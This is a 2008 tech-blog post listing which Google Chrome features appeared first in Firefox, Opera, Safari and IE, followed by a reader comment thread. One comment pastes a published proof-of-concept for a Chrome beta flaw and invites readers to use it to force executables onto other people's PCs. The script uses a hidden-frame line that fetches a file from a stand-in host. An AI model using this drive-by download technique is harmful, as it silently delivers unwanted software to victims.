Software
Dr. Frankenstein's Browser: The Strangely Obvious Ancestry of Google Chrome
Posted by John Herrman at 7:00 AM on September 4, 2008

We've posted our first impressions of Google Chrome, and after extended use most of them have held up. Chrome is fast, feature-rich and stable, not to mention highly usable. But Google's in-house innovations (the multi-threaded engine, Javascript handling and task manager, mainly) make up a tiny portion of the user experience. The rest of the interface features, usage mechanics and touted features have clear and very public parentage—in one of Chrome's four largest competitors.
Now, that's not to say that Google has explicitly "stolen" anything from IE, Firefox, Opera or Safari. They have, as of now, acknowledged that they owe a great debt to some of the other large players in the browser market. After all, they're using Safari's WebKit engine, receive billions of revenue-pumping referrals from Firefox's Google search bar, and have open-sourced much of Chrome. For most users, though, these gestures and acknowledgments will go unnoticed, and features previously incorporated into other popular browsers will be seen first on Google's. I've put together a list of some of Chrome's most interesting features, including the mainstream browsers that "inspired" them.
Feature: Incognito Mode
Who already has it: Safari, IE 8, Firefox w/ extension
Google has cleverly named and advertised this feature as a privacy and safety tool, but we know exactly what it's for. Porn Mode, as we've been calling it, is becoming de rigueur for any browser that may be used by men, which is to say, all of them. It made a recent appearance in a new IE 8 beta, but it finds its roots in Safari, circa 2005, when it was called "Private Browsing." Naturally, Chrome's implementation is a bit more complete, with more complex cache and history management, as well as the ability to have normal and "Incognito" windows running at the same time.
Feature: Smart Address Bar
Who already has it: Firefox, IE 8
When Firefox 3 dropped, there was much fanfare around its so-called "Awesome Bar" which, as it turns out, is pretty awesome. Strictly speaking, Chrome's address bar is slightly smarter than Firefox's, but I would argue less useful for power users who often need to dig up specific pages out of piles and piles from the same domain. Google has also modified the concept by merging the search and address bars into one, but most other browsers have included search functionality (by default or with modifiers) in their address bars for years.
Feature: Custom Panel Start Page
Who already has it: Opera, Firefox w/ extension
This feature is perhaps the most controversial, as Opera is a commercial, closed-source browser from which Google looks to have essentially lifted one of its most advertised features. Over a year ago, Opera introduced Speed Dial, which allowed users to build customised, panel-based pages that showed up whenever a tab was created. The large thumbnails provided easy, quick navigation to oft-visited pages and were a refreshing substitute for layers and layers of menus to access favourites. Chrome's home page is dynamically generated, but clearly took conceptual and aesthetic cues from Opera.
Feature: Tab detachment/attachment
Who already has it: Opera and Safari
Chrome, to complement its separate processes for each tab, allows for easy dragging and dropping from one window to another. In other words, you can rip a tab from its parent window to become its own, then drag it back without loss of data. This makes isolating important tabs as well as maintaining single-window mode both much easier, but —you guessed it —neither feature is new. Safari includes a tear-away feature by default, complete with a snazzy animation. Opera can handle tear-aways AND reattachments, in a nearly identical manner as Chrome.
Feature: Resizable Text Boxes
Who already has it: Safari, Firefox w/ Extension
These are fantastic for anyone who creates content, whether it be full-on news stories or the odd racist blog comment. Google's version in Chrome is functionally identical to Safari's earlier version of the feature, which was recently added with version 3.
Feature: Domain Highlighting
Who already has it: IE 8
Seriously. Internet Explorer 8 isn't even out yet and Chrome has managed to crib a feature from it. When the beta was put up for download last week, we noticed that the root domain name was always highlighted, which helps users keep track of what site they're on to avoid phishing attacks with syntactically confusing URLs. Sure enough, this showed up in Chrome a week later, though there's no telling who was working on it first.
Feature: Pseudo Full screen
Where it came from: Safari
Windows browsers have often included "full screen" modes, which hide interface elements to give as much screen space as possible to content. Chrome finds a happy middle ground between everything-goes full screen and normal maximised mode with its partially, uhh, chromeless look. When maximised, the side and bottom window chrome disappears, but the top navigation and tab elements remain. This feature was found as a default first, strangely, in Safari for Windows. Sure, Safari in Windows kinda sucks (balls, and lots of them), but the slick maximised state stood out as an outstanding feature. Chrome is a marginally more attractive browser, so again, their implementation is an improvement.
As I said before, Google has taken time to acknowledge the debt it owes to other browser projects, but that will be little comfort to the Firefox, Opera, Safari and IE teams if Chrome rises to success on their features. Google has taken the best ideas from the best products, given them a new name, some new guts and a PR monsoon. And, no matter how you feel about it, they've done it well.
Google has taken many (though definitely not all) of the most compelling features from disparate sources and united them in a pretty solid package. This all-in-one approach is much like the one that Opera has taken in the past, with some success. Where Chrome trounces its competition, however, is in polish. I don't mean to say that Chrome is without bugs or room for improvement, but the user experience is fast, simple and intuitive from the start. Each of the features culled from other browsers has been refined to be more obvious, easier to use and more effective in Chrome, which—questionable ethical implications aside—is all that really matters to the end user. [Chrome on Giz]

Comments (AU Comments · US Comments)
Jawa
Posted September 4, 2008 8:34 AM
I love this browser....But I thing they should work on the looks of it, as it looks very ordinary. I would completely turn from Safari to Chrome if they will give better looks. Unlike Safari, it looks just ok...but I am surprised with the speed of this browser..... 8 out of 10
Poker Table
Posted October 11, 2008 1:09 AM
Absolutely rocks in every way. Google has once again proven that it has what is needed to deliver great products. it’s a decent browser…download time may be a dash slower than other browsers but the app load time, smooth rendering, space utilization etc are great.
BiZarRroBALlmeR
Posted 7:36 AM 4/9/08
or Mosaic
BiZarRroBALlmeR
GeekyNerdGuy
Posted 7:35 AM 4/9/08
What about Netscape? Did it not parent anything?!!!
GeekyNerdGuy
SkoGoody
Posted 7:33 AM 4/9/08
Whether or not this post is supposed to be negative or positive towards Chrome... I think Giz made the perfect point knowingly or not...
Point being: Chrome has brought all the best features of the big 4 into 1 browser. All the while becoming superior due to a slick, yet simple UI and super fast browsing speeds.
SkoGoody
kyel57
Posted 7:27 AM 4/9/08
hey i like safari for windows
kyel57
lilaliendog
Posted 7:27 AM 4/9/08
gonna have to give this a try
lilaliendog
Gann
Posted 7:20 AM 4/9/08
Trying it now and loving it, although I can't shake the feeling that it's just a step towards releasing a web based OS.
Gann
marm0lade
Posted 7:20 AM 4/9/08
@CaptMoose:
Giz is intent on marginalizing anything that isn't apple, everyday.
@ripfire:
Yes, Chrome does support plugins. There are none available yet, but you can see what is coming / updates here:
[chromespot.com]
marm0lade
Gonzie
Posted 7:19 AM 4/9/08
it's also got a few little features in like auto hide/appear status bar (from ff plugin) and open new link in tab (from safari plugin). i'm looking forward to the mac version very much
Gonzie
zenpoet
Posted 7:18 AM 4/9/08
@ripfire: That is the greatest extension. I don't know where I would be without it.
Some place moist and scary, I would guess.
zenpoet
aliskaba
Posted 7:15 AM 4/9/08
It can support the your mom sucks plugin
aliskaba
ripfire
Posted 7:11 AM 4/9/08
Oh sure it sounds all nice, but can it support Adblock (plugin/extensions)?
ripfire
Parapraxis
Posted 7:11 AM 4/9/08
@dj_cobb:
yeah, it's called "the internet"
Parapraxis
smartboydan needs to stop watching the Watchmen trailer
Posted 7:09 AM 4/9/08
@dj_cobb: LOL, I can get rid of Safari.
smartboydan needs to stop watching the Watchmen trailer
Descent
Posted 7:07 AM 4/9/08
Isn't domain highlighting also available in Firefox with extension, as brought up by lifehacker in [lifehacker.com] ?
Descent
utube2007
Posted 7:07 AM 4/9/08
There are lots of other small browsers that are based on Trident, Gecko & Webkit that have some of the mentioned features.
utube2007
takashimiike Ultimate
Posted 7:07 AM 4/9/08
Yeah they all have stuff each other could use.
takashimiike Ultimate
dj_cobb
Posted 7:05 AM 4/9/08
Firefox has a porn mode!?!?
dj_cobb
CaptMoose
Posted 7:05 AM 4/9/08
Giz seems pretty intent on marginalizing Chrome today.
CaptMoose
zenpoet
Posted 7:04 AM 4/9/08
Well, it does kind of make sense a little bit to take the things that people like, and put it into something you want a lot of people to use.
There is nothing new under the sun, only that which you steal and call new. I think I read that in the Bible, but I could be mistaken.
zenpoet
Joseph
Posted 7:56 AM 4/9/08
@Polybius: It's a pain in the butt for coding... example!
Right click on the image to view it larger. You can pretty much drag a text box as large as you like and screw up the layout of any webpage if that element is included like in gizmodo.
Joseph
Polybius
Posted 7:51 AM 4/9/08
What are these Firefox Extensions mentioned here called? That text resizing one sounds neat!
Polybius
PingMaster
Posted 7:50 AM 4/9/08
You forgot to mention that they borrowed their icon design from a pokeball.
PingMaster
Kaiser-Machead on the Edge
Posted 7:49 AM 4/9/08
I guess this documentary is going to need some serious updating.
+ Watch video
Kaiser-Machead on the Edge
fisherKing
Posted 7:48 AM 4/9/08
apple code but no mac version?
fisherKing
crashfrog
Posted 7:42 AM 4/9/08
"Originality is the art of concealing one's sources."
crashfrog
Bats
Posted 7:40 AM 4/9/08
@CaptMoose: If explaining and identifying features that were clearly pioneered and perfected before Chrome is what you call "marginalizing," then marginalize away.
You on Chrome's dev team or something and wish you'd come up with your own feature?
Bats
puntai
Posted 7:40 AM 4/9/08
Avantbrowser also has the Speeddial homepage as default (Opera) and hand gestures.
puntai
Joseph
Posted 8:14 AM 4/9/08
@ripfire: Yeah. I think there is some CSS that can turn it off, but because it's not very common, most web programmers don't worry/know about it. I noticed it when i was testing my site.
Joseph
rudez90
Posted 8:13 AM 4/9/08
lol @ opera even being listed for comparison. sorry but most people dont even know what the hell that is.
rudez90
phate
Posted 8:06 AM 4/9/08
interesting article. I thought it was going to be on the fact that Google chrome is the bastard sibling of Safari... check out the Useragent, and the about info, they both blantantly say WebKit. Yes the very same engine that powers safari and the iphone.
phate
HellTempest
Posted 8:03 AM 4/9/08
addons.mozilla.org, actually
HellTempest
HellTempest
Posted 8:02 AM 4/9/08
@dj_cobb: Search Stealther on addons.mozilla.com
HellTempest
ripfire
Posted 8:01 AM 4/9/08
@Joseph: I can imagine resizeable textbox being a nightmare for web designers.
ripfire
lincch01
Posted 8:34 AM 4/9/08
To be honest, this article seems to be blatantly (and desperately?) looking for ways to cut down Chrome.
I mean, to say that Chrome is taking the concept of displaying multiple buttons to various websites (dynamic or not) on a default page is taking from Opera is a little far fetched. I'm fairly certain Opera isn't the pioneer in this technology... I mean, you're essentially talking about THUMBNAILS... not very Opera-only wouldn't you say?
Alot of features that set Chrome apart are left out also. For example, although other browsers may have detachable tabs... are they separate processes? That is one of the HUGE features of Chrome...
By no means am I a Chrome fanboy, but it just seems like you're digging up dirt as if Chrome was a presidential candidate.
Google has already explained that it is not competing with web browsers (i.e. IE, Mozilla, Safari); rather it is a WEB APP BROWSER.
lincch01
Smitty
Posted 8:32 AM 4/9/08
@phate: NO WAY! Luckily you were here to point that out. Google had done such a great job of hiding that fact so far. Chrome uses Webkit... my god.
Smitty
WalkerP
Posted 8:23 AM 4/9/08
@HellTempest: Not really: the Min/Max-Width/Height css properties still apply when resized, and I'm pretty sure the 'resize' property applies too - [www.w3.org]
WalkerP
dabean
Posted 8:21 AM 4/9/08
@rudez90:
I'm glad that Opera was included, but Opera has a smart address bar too... Perhaps giz is using an older version? Not sure, but avid Opera user right here for many years.
dabean
ScottyF311
Posted 8:21 AM 4/9/08
Netscape Communicator. Now that was a browser.
ScottyF311
John Herrman
Posted 8:40 AM 4/9/08
@lincch01: No, I love Chrome. I'd use it on my main machine if it had a Mac port. I did mention the separate processes, and contributed many of the positive impressions we listed in our release post. I just wanted to note some of the undeniable similarities to key features in other browsers.
To say that Chrome is a just a "web app browser" is disingenuous, because it is clearly capable (and being marketed as such) for normal browsing. Most people don't use two browsers simultaneously, and with Chrome, wouldn't need to.
John Herrman
lincch01
Posted 8:37 AM 4/9/08
And I forgot to mention:
of course it is going to be similar to Safari because, as someone else already pointed out, they both use WebKit (as does Android).
I love that all this information came from reading a damned comic; I didn't do any research at all to learn this stuff which has been overlooked.
lincch01
crugg
Posted 9:09 AM 4/9/08
I have been testing the beta for a few days now and to be honest it is not better than the ones mentioned above. IN fact I would say it was worse, at least for a beta test. Sure it has a great UI and is easy to use. But I have found that it lags tremendously bad while I am dealing with media files and multiple tabs open. If this is just happening to me maybe I am doing something wrong but I never had a problem before with Firefox at least nothing that would lag the browser for over 5 seconds. Help would be appreciated if you disagree.
crugg
Tiago Sartor
Posted 9:01 AM 4/9/08
I do like Chrome and its feature collection, but I'm having some serious trouble to adapt my CSS code to work in Google's browser. Somehow, it keeps messing the divs' styles even if they are correctly displayed in the CSS file. I don't know what to do and I'm desperate.
Tiago Sartor
jpbraconi
Posted 9:25 AM 4/9/08
U guys need to check out FLOCK
=)
jpbraconi
Pensador
Posted 9:23 AM 4/9/08
Why didn't the devs at Mozilla think about the so called "Domain Highlighting"? It's such as simple feature that is quite powerful! I also like the "Pseudo Full screen", another simple-yet-useful feature that is not on Firefox.
Don't get me wrong--Ff is and has been my favourite browser since 0.9--I'm just wondering.
Pensador
k3davis
Posted 9:22 AM 4/9/08
I appreciate the open source approach and and an additional standards-compliant browser. And I love Google's web apps. But I find nothing compelling about Chrome. I *prefer* that FF3 doesn't do many of these things out of the box, and that I can add only the customizations I want. I also don't personally like the non-standard UI, which while easy to use completely disrespects windows themes and therefore looks ugly on my desktop. I find nothing truly imaginative or that can't be had just as well with already present software.
I still likes me some firefox.
k3davis
mickblu
Posted 10:09 AM 4/9/08
Chrome's "incognito" mode is lacking one thing to make it perfect: a "sandbox" capability. In this mode your browser operates in a separate world of its own, not allowing any trojans or viruses to contaminate your PC. It's a bit like running a "virtual PC" so that if something nasty crops up, just kill the window and carry on your merry way...
The other thing I'd like, is for a way to make "incognito" mode to be the default ;-)
mickblu
Mike918
Posted 10:04 AM 4/9/08
I feel that it's a firefox with another color theme...maybe it's just me.
Mike918
Felix26591
Posted 10:34 AM 4/9/08
I read the EULA and it says that google is the owner of all emails, blog writings and all that you compile or put on the web through it. I was excited about this browser till i was shown the EULA. I like how google is trying to get into the Browser war but if you are open sourcing something do it the right way don't enforce your ownership on someone else's shit.
Felix26591
daftrok
Posted 10:18 AM 4/9/08
What I find shocking is that Google Chrome doesn't have full zoom like Firefox does.
daftrok
Lightman
Posted 11:09 AM 4/9/08
I'm pretty enamored with it (Opera user). One thing I miss when I'm just browsing is mouse gestures, but it's just a minor quibble.
Lightman
nonbreakingspace
Posted 11:03 AM 4/9/08
@Joseph: To stop that you just need someone who understands CSS properly, use the max and min width (or height if you want) attributes, it will force a minimum or maximum size to the boxes. Properlly coded browsers should obey these declarations.
nonbreakingspace
nonbreakingspace
Posted 11:02 AM 4/9/08
I can't stand that stupid domain highlighting bullshit, seriously, have you tried typing in a URL (which you do a lot in a development environment); typing the domain is fine, but everything after that first (third?) / is in like color: #fefefe on a white background.
There should be an option to turn it off. (There may be, I haven't used Chrome much, it sucks)
nonbreakingspace
BiZarRroBALlmeR
Posted 10:58 AM 4/9/08
*taps fingers, waiting for Mac version*
BiZarRroBALlmeR
aliskaba
Posted 2:14 PM 4/9/08
I am pretty much ok with this browser. I still wish we would just accept that a BBS is a hell of a lot better.
Screw all of these fancy dancy things.. I hate good graphics. I want my 286 back, and my 640kb of ram. My 14.4 was great on a BBS. 28.8 was pushing it, and 33.6 was sinning. 56k is like giving your baby crack, and anything else is just satanism.
BBS RULES!
[www.poopsale.com]
aliskaba
thisismike
Posted 4:21 PM 4/9/08
Just out of curiousity, does "incognito" mode hide your browsing from BIG BROTHER itself, i.e. GOOGLE!? :) Because their eula pretty much gives over anything you do, see, write, etc. while surfing using their browser over to the big G.
I use Gmail, but that's as far as I'll go. These guys know WAY too much about way too many to trust them fully. I'll never use them (or anyone else for that matter) for "cloud computing" and I'm staying away from their browser for the same reason.
Which is a bummer, because it sounds pretty kick-ass. Oh well, hopefully Firefox will catch up fast.
thisismike
PreachingLlama
Posted 6:10 PM 4/9/08
@lincch01: "are they separate processes? That is one of the HUGE features of Chrome"
I'm actually surprised that wasn't mentioned in this article, as that feature shared with IE8.
PreachingLlama
NSX
Posted 6:32 PM 4/9/08
Freaking retard, why did the author link to that pink browser site in this article? I clicked on it from my IE7 browser, and it froze IE, made my CPU goto 100% utilization and my hard drive started spinning like crazy.
I tried to open the same page from Chrome, and it warned me that the site contains elemants of a malware site d3m00n.
Stupid Gizmodo writers, I won't trust you guys again!
NSX
bungee
Posted 9:23 PM 4/9/08
@Polybius:
I, too, would like to know the Firefox extensions John had in mind when he wrote this great post. The Custom Panel Start Page will be very cool to have in Firefox, but the closest I'm aware of are Fast Dial & Speed Dial, neither which does exactly the same thing.
Similar Firefox Add-ons:
- Incognito Mode: Stealther [addons.mozilla.org]
- Resizable Text Boxes: Text Area Resizer & Mover [addons.mozilla.org]
bungee
OMG! Ponies!
Posted 10:47 PM 4/9/08
@OMG! Ponies!: Which reminds me - when are they going to come out with Netscape Communicator 4.7 for Vista?!
I don't want some lame skinned version of Firefox - I want Communicator 4.7 for Vista.
OMG! Ponies!
OMG! Ponies!
Posted 10:45 PM 4/9/08
You're all stealing from MOSAIC and Netscape Communicator. Damn you, hippies.
That's okay 4.7 Gold, the big bad browswer's not going to get you.
OMG! Ponies!
reddingofish
Posted 12:06 AM 5/9/08
This thing is freaky fast.
reddingofish
diabolusunknownTheSecond
Posted 12:16 AM 5/9/08
If anyone wants to force the download of executables onto someones pc, use the code below. I dont know which has had more day one issues, Safari or Chrome.
***************************************************************************
Author: nerex
E-mail: nerex[at]live[dot]com
Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically
downloaded to the user's computer without any user prompt.
This proof-of-concept was created for educational purposes only.
Use the code it at your own risk.
The author will not be responsible for any damages.
Tested on Windows Vista SP1 and Windows XP SP3 with Google Chrome (BETA)
**************************************************************************
document.write(' src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');
# milw0rm.com [2008-09-03]
diabolusunknownTheSecond
twilight-arc
Posted 1:47 AM 5/9/08
The truth is they all copy off each other. If this leads to a better user experience, then what does it matter?
twilight-arc
merebito
Posted 1:58 AM 6/9/08
Why don't they offer a master password to protect your password db?
merebito
Gervy
Posted 1:50 AM 6/9/08
@reddingofish:
Freaky fast? I thought that too, for the first day, then it seamed to get slower and slower.
Gervy
Gervy
Posted 1:49 AM 6/9/08
After along hours of use and excitement, my opinion now is that Chrome stinks. You have to go a LONG way to get me off of Firefox.
Gervy
Hamslicer
Posted 7:22 AM 4/9/08
I like the Simon logo.
Boop, beep, beep beep, boop.
Hamslicer
porkasaurus
Posted 2:16 PM 6/9/08
Also, John Herrman is a cute boy. Bring it bitches, I kill you.
porkasaurus
porkasaurus
Posted 2:15 PM 6/9/08
I think it says something that I fundamentally don't care enough to click the series of four buttons that it would take to install Chrome on my computer. And I am an avid fan of button-clicking. Whatever, I'm going to use firefox until I awake one morning to find Chrome installed, and then I'll be all "whatever." End of story.
porkasaurus
El_Guappo
Posted 10:19 PM 4/9/08
@NSX:
Hmm, mine did exactly the same thing. Memory usage went from about 700MB to about 1.4GB and my pc ground to a halt.
Thats a dirty trick John.
El_Guappo
El_Guappo
Posted 9:45 PM 4/9/08
Has any body else using Chrome found new tabs appearing by themselves with ads in them?
Also I notice one of Gizmodo's industry colleagues(Engadget) has not put up a single post regarding Chrome. Whats the conflict of interest or undue influence that would cause them to not report on what is a very obvious topic for readers of both Gizmodo and Engadget alike
El_Guappo
ChickenJuice
Posted 12:41 PM 4/9/08
@lincch01:
If I were to guess, I'd say the purpose of pointing out all this is to make users aware of the features that exist in browsers they may not have used so they don't annoy the users of those browsers. Long time Opera users such as myself are very familiar with this problem. I remember telling folks about Opera, getting a blank stare and then several years later all of those same people at one point or another came back around to tell me about the great new browser known as 'Mozilla' and how it had all these great features, which when I asked them to list them I pointed out had already been available several years ago in Opera. Again, the blank stare of incomprehension. The article is just pointing out that because something is new to you, it isn't necessarily new. As for the 'thumbnails' comment? You're right that thumbnails aren't new, but a browser with thumbnails of web pages as the default for a new tab? Has that been done before? Yes. Think the developers of chrome came up with independently? No. Think that makes them bad developers? Definitely not. Although it was annoying to have FF fans tell me how great it was while extolling virtues that Opera had pioneered, I was glad they were emulating the good things about Opera, rather than making a clone of something useless like IE 5. If Chrome continues in this vein, it may become my new browser, as I've been less than happy with the general performance of last few Opera versions.
This comment posted using Chrome
ChickenJuice
theawddone
Posted 7:29 AM 4/9/08
I think this leads into a great mobile browser for the upcoming android-based phones, but not much else. Primarily due to the significant revenue Google is currently receiving from ads, I doubt they will ever support a plugin like AdBlock resulting in most of the users they are targeting to stick with Firefox.
theawddone
juanjux
Posted 8:41 AM 4/9/08
I would not forget to give credit to KDE Konqueror browser which was the origin of the Safari/Webkit code, and the reason Webkit is still open source.
juanjux